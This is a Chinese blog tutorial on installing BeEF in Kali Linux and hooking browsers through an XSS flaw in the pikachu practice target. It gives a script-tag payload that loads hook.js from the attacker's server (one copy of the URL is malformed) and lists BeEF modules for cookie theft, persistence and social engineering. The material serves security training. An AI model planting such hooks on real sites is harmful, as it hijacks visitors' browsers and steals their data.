首页 > 其他分享 >【工具篇】Kali下beef实战详细教程

【工具篇】Kali下beef实战详细教程

时间:2023-12-28 23:22:49浏览次数:26  
标签:xss 教程 浏览器 beef 密码 Kali 漏洞 主机

一、beef安装

第一步:安装beef

1.首先输入命令进行安装.

apt-get install beef-xss

发现安装不了,但是有提示.

2.根据提示进行输入命令.

apt-get update

3.再输入命令进行安装.

apt-get install beef-xss

4.直接运行Beef-xss.

beef-xss
标记处的意思是叫你 修改密码(密码输入时不可见.),本身默认的密码和账号分别为 beef 和 beef, 这里我设置的密码是root

5.访问 http://192.168.1.128:3000/ui/panel(虚拟机本地的ip地址)

账号:beef 密码:是你在上面输入的密码(这里我输入的是:root)
成功进入的页面.

二、beef靶场pikachu钓鱼实战

1、利用 生成的链接 写入存在有 XSS漏洞 的地方.

命令概括:

<script src="http://192.168.1.128/:3000/hook.js"></script>

实战一般是内网 或者 公网IP

2、找到存在 XSS漏洞 的地方.

 写入的命令:
<script src="http://192.168.1.128:3000/hook.js"></script>

用 靶机 去访问这个留言板.(当靶机访问留言页面的时候,就已经遭到到我们 XSS漏洞 的攻击了.)

我这里是用kail虚拟机自带浏览器进行访问,这个时候kail环境便会遭受攻击

命今颜色(Color):

  • 绿色对目标主机生效并且不可见(不会被发现)
  • 橙色对目标主机生效但可能可见(可能被发现)
  • 灰色对目标主机来未必生效(可验证下)
  • 红色对目标主机不生效

主要模块

  • Broser:主要是针对浏览器的一些信息收集或攻击,其下的子选项卡Hooked Domain主要是获取HTTP属性值,比如cookie、表单值等,还可以做写简单的浏览器操作,比如替换href值,弹出警告框,重定向浏览器等。这个选项卡下的有些模块会根据受害者的浏览器来决定是否显示。主要是浏览器通用操作和其他基本信息检测。
  • Chrome extensions:主要是针对谷歌浏览器扩展插件
  • Debug:调试功能
  • Exploits:漏洞利用,主要利用一些已公开的漏洞进行攻击测试
  • Host:针对主机,比如检测主机的浏览器、系统信息、IP地址、安装软件等等
  • IPEC:协议间通信。主要是用来连接、控制受害者浏览器的
  • Metasploit:Beef可通过配置和metasploit平台联合,一旦有受害者出现,可通过信息收集确定是否存在漏洞,进一步方便metasploit攻击测试
  • Misc:杂项。
  • Network:网络扫描
  • Persistence:维护受害者访问
  • Phonegap:手机测试
  • Social engineering:社会工程学攻击

参考博客:

https://www.yuucn.com/a/1591972.html

 

标签:xss,教程,浏览器,beef,密码,Kali,漏洞,主机
From: https://www.cnblogs.com/xfbk/p/17933812.html

相关文章

  • 无涯教程-Java NIO - 简介
    Java1.4中引入了Java.nio包,引入了用于I/O操作的面向缓冲区和通道的数据流,从而提供了更快的执行速度和更好的性能。NIOAPI还提供了selector选择器,该选择器引入了以异步或非阻塞方式侦听IO事件的多个通道的功能。在NIO中,最耗时的I/O任务将缓冲区填充和释放到操作系统中,从而提高......
  • 【靶场部署】kali系统安装
    一,简介kali是一个基于Linuxkernel的操作系统,用于渗透测试及黑客攻防的专用平台,其主要功能有三个:数字取证、安全审计、渗透测试。二,下载与安装2.1下载链接:https://www.kali.org/2.2新建VM虚拟机 如果下载的压缩包,里面直接包含有虚拟机全部内容,直接解压到合适位置即可。......
  • 盲盒搭建教程
    1、教程环境配置centos7.9.2009x64、php7.2、mysql5.7.40、nginx1.22.1、redis6.2.72、宝塔创建站点记住创建的数据库信息3、安装后台解压以后,配置站点4、配置运行目录配置完目录以后别忘记点击保存按钮5、配置伪静态点击保存按钮6、导入数据库7、配置数......
  • 无涯教程-Java泛型 - 不允许 重载
    一个类不允许具有两个在类型擦除后可以具有相同签名的重载方法。classBox{//Compilererror//Erasureofmethodprint(List<String>)//isthesameasanothermethodintypeBoxpublicvoidprint(List<String>stringList){}publicvoidprint(Li......
  • 无涯教程-Java泛型 - 不允许 数组
    不允许使用参数化类型的数组。//无法创建Box<Integer>的通用数组Box<Integer>[]arrayOfLists=newBox<Integer>[2];由于编译器使用类型擦除,因此将type参数替换为对象,并且用户可以将任何类型的对象添加到数组中。并且在运行时,代码将无法引发ArrayStoreException。//编译......
  • 无涯教程-Java泛型 - 不允许 异常
    泛型类不允许直接或间接扩展Throwable类。//泛型类Box<T>可能不是java.lang.Throwable的子类classBox<T>extendsException{}//泛型类Box<T>可能不是java.lang.Throwable的子类classBox1<T>extendsThrowable{}不允许方法捕获类型参数的。publicstatic<T......
  • 无涯教程-Java泛型 - 不允许 强制转换
    除非强制使用无界通配符对其进行参数化,否则不允许强制转换为参数化类型。Box<Integer>integerBox=newBox<Integer>();Box<Number>numberBox=newBox<Number>();//编译器错误:无法从Box<Number>转换为Box<Integer>integerBox=(Box<Integer>)numberBox;要实现相同的目的,......
  • Steam自建服务器教程之SteamCMD的下载和安装
     一、SteamCMD是干嘛的?SteamCMD 是 Steam 客户端的命令行版本。方便开发者管理Steam游戏服务器和下载游戏文件、更新游戏内容等。如果是你想要在Steam自建服务器,进行二次开发,SteamCMD是必需工具。今天飞飞将和你分享不同系统下载和安装SteamCMD的方法,希望可以帮助到你~ ......
  • 全志R128 DSP开发工具安装教程
    资料准备要编译和仿真DSP,需要以下资料:DSP核SDK,SDK需要包含DSP编译源码。CadenceXtensa的WindowsIDE工具(Xplorer‑8.0.13版本),Windows版本DSP的package包。CadenceXtensa的License,用于服务器代码编译和Xplorer仿真使用。其中Allwinner提供DSP核SDK源码......
  • 嵌入式教学实验箱_数字信号处理实验箱_操作教程:5-16 灰度图像线性变换(LCD显示)
    一、实验目的学习灰度图像线性变换的原理,掌握图像的读取方法,并实现在LCD上显示线性变换前后的图像。二、实验原理图像线性变换一般成像系统只具有一定的亮度范围,亮度的最大值与最小值之比称为对比度。由于形成图像的系统亮度有限,常出现对比度不足的弊病,使人眼观看图像时视觉效果很......